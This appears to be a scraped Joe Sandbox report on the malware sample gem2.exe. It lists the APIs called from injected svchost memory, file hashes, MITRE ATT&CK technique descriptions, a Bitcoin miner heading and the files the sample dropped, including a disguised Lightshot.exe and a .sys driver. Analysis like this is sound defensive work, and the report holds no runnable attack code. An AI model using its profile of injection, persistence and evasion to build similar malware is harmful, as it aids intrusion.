Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 4d82505500ce06d62ce877f2f89efa63fb9e64a04db03c9d2b6106834071bf2b
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 67113A35641F8686EA54DB66A8082B967E1FB89FC0F1890B9DE4D57776EF38C442C300

Analysis Process: svchost.exePID: 1032, Parent PID: 7660COMMON

Executed Functions

Function 000001CA9854328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001CA985432AE
PathFindFileNameW.SHLWAPI ref: 000001CA985432BD

Part of subcall function 000001CA98543844: StrCmpNIW.SHLWAPI ref: 000001CA9854385C

Part of subcall function 000001CA98543790: GetModuleHandleW.KERNEL32 ref: 000001CA9854379E
Part of subcall function 000001CA98543790: GetCurrentProcess.KERNEL32 ref: 000001CA985437CC
Part of subcall function 000001CA98543790: VirtualProtectEx.KERNEL32 ref: 000001CA985437EE
Part of subcall function 000001CA98543790: GetCurrentProcess.KERNEL32 ref: 000001CA98543809
Part of subcall function 000001CA98543790: VirtualProtectEx.KERNEL32 ref: 000001CA9854382A

CreateThread.KERNEL32 ref: 000001CA9854330B

Part of subcall function 000001CA98541D14: GetCurrentThread.KERNEL32 ref: 000001CA98541D1F

Memory Dump Source

Source File: 00000044.00000002.3310341405.000001CA98540000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA98540000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca98540000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 02608f7fb42785df329ad58013826795d5046dbf7aea57e8edc5433c45882f35
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 021180746D4649C2FB669B39F90BFD923A4AF54B4DFD0412CA946825B1EF79C14CC203

Function 000001CA98541ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001CA98541628: GetProcessHeap.KERNEL32 ref: 000001CA98541633
Part of subcall function 000001CA98541628: HeapAlloc.KERNEL32 ref: 000001CA98541642
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA985416B2
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA985416DF
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA985416F9
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA98541719
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA98541734
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA98541754
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA9854176F
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA9854178F
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA985417AA
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA985417CA

Sleep.KERNEL32 ref: 000001CA98541AD7
SleepEx.KERNELBASE ref: 000001CA98541ADD

Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA985417E5
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA98541805
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA98541820
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA98541840
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA9854185B
Part of subcall function 000001CA98541628: RegOpenKeyExW.ADVAPI32 ref: 000001CA9854187B
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA98541896
Part of subcall function 000001CA98541628: RegCloseKey.ADVAPI32 ref: 000001CA985418A0

Memory Dump Source

Source File: 00000044.00000002.3310341405.000001CA98540000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA98540000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca98540000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: e5877da068afd20c9cddd86298f94b34e7c121e501fc79df45c04bcb12845f54
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 7B313E312D8649D1FF569B3ADA43BE923A8AF44FCCF8454218E0AC7695FE30C85DC212

Function 000001CA98543844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001CA9854385C

Strings

dialer, xrefs: 000001CA98543855

Memory Dump Source

Source File: 00000044.00000002.3310341405.000001CA98540000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA98540000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca98540000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 860d2abcd78385b5b6352b5b090ca42a6c42d302506dbb19178a9b524337b78a
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: B4D05E753D2249C6FB569FAA88C6EE06350EF04B4CFC84034890002160DB39C98D9611

Function 000001CA97FD273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001CA97FD285E

Memory Dump Source

Source File: 00000044.00000002.3310062832.000001CA97FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA97FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca97fd0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 819f76d9a5abc91c6e6eb48c3cbc51dee46eba0d1364d2a0c9ae9ef2f7337be7
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: B2614632B4129887EF15CF14C041BAD7BD2FB54B9CF988121CE1AA3788DB34D852D7A2

Non-executed Functions

Function 000001CA97FDF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001CA97FDF124

Strings

Tuesday, xrefs: 000001CA97FDF0F4
Wednesday, xrefs: 000001CA97FDF1ED
or copy constructor iterator', xrefs: 000001CA97FDF25A, 000001CA97FDF275

Memory Dump Source

Source File: 00000044.00000002.3310062832.000001CA97FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA97FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca97fd0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 14dcb86dd8f0441671da9dd4c2d17c6507bc951c5010396476c75a52142e6302
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 6261C23268024C42FA67DB28E447FEE6EE0AF4175CFD44555CA2BB77A4EB34C841C222

Function 000001CA97FD8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA97FD8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA97FD84A8

Strings

csm, xrefs: 000001CA97FD848E
f, xrefs: 000001CA97FD8426

Memory Dump Source

Source File: 00000044.00000002.3310062832.000001CA97FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA97FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca97fd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: d0b14945f8b4c0745365dd35961ac8a30c9a52f82823a91ee70ca9263ca45886
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: C651DE327412088AFB16CF15E406F993BE5FB50BACF918124DA07A3788EB34DC40C72A

Function 000001CA97FD83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA97FD8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA97FD84A8

Strings

csm, xrefs: 000001CA97FD848E
f, xrefs: 000001CA97FD8426

Memory Dump Source

Source File: 00000044.00000002.3310062832.000001CA97FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA97FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca97fd0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: bdce6d5c304d3e2db81985148f121619515b534cc9f314feddc33e8dc54f5cfd
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: BB31AF322416489AF716DF15E846F993BA5FF40B9CF858014EE5BA3784DB38D940C72A

Function 000001CA97FD9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001CA97FD9EB7

Strings

MOC, xrefs: 000001CA97FD9E7C
RCC, xrefs: 000001CA97FD9E85

Memory Dump Source

Source File: 00000044.00000002.3310062832.000001CA97FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA97FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca97fd0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: ca70dbbd545fe2c05a366975a8c2cf549e4bf70a6ec871fb258b060c3f0cd3d6
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 89616833604A888AFB22DFA5D481BDD7BA0FB48B8CF444215EE4A67B98DB38D455C711

Function 000001CA97FD7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001CA97FD737C

Strings

ierarchy Descriptor', xrefs: 000001CA97FD7381
riptor at (, xrefs: 000001CA97FD7364

Memory Dump Source

Source File: 00000044.00000002.3310062832.000001CA97FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA97FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca97fd0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 130e87942d0e0c6d0456325ff2bc0814ae33aee10acfd8dc0b9fc2b8868df37b
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: FDE08671690B4990EF038F66E8416D837A0DF98B6CBC89122995D57311FB3CD1E9C311

Function 000001CA97FD73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001CA97FD73D8

Strings

Locator', xrefs: 000001CA97FD73DD
riptor at (, xrefs: 000001CA97FD73C0

Memory Dump Source

Source File: 00000044.00000002.3310062832.000001CA97FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA97FD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_1ca97fd0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 5ec6e1aa0c21c2a9d54db6f90e025f6508c94ea03da05262c35edcb0eb738dc6
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 08E08671650B4880EF038F65E8415D877A0EF58B5CBC89122C95D57311EB3CD1E5C311

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gem2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Screenshots\Lightshot.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01nv4rv3.nkt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wriahtp.qpd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sm24etzm.lii.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yspndyca.3zx.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_b43v2i2m.ol2.ps1

C:\Windows\Temp\__PSScriptPolicyTest_dmcpz4ps.vdx.ps1

C:\Windows\Temp\__PSScriptPolicyTest_ipc31scb.2aq.psm1

C:\Windows\Temp\__PSScriptPolicyTest_tqqpx1nd.trx.psm1

C:\Windows\Temp\yycjbdwxjaoe.sys

Windows Analysis Report
gem2.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre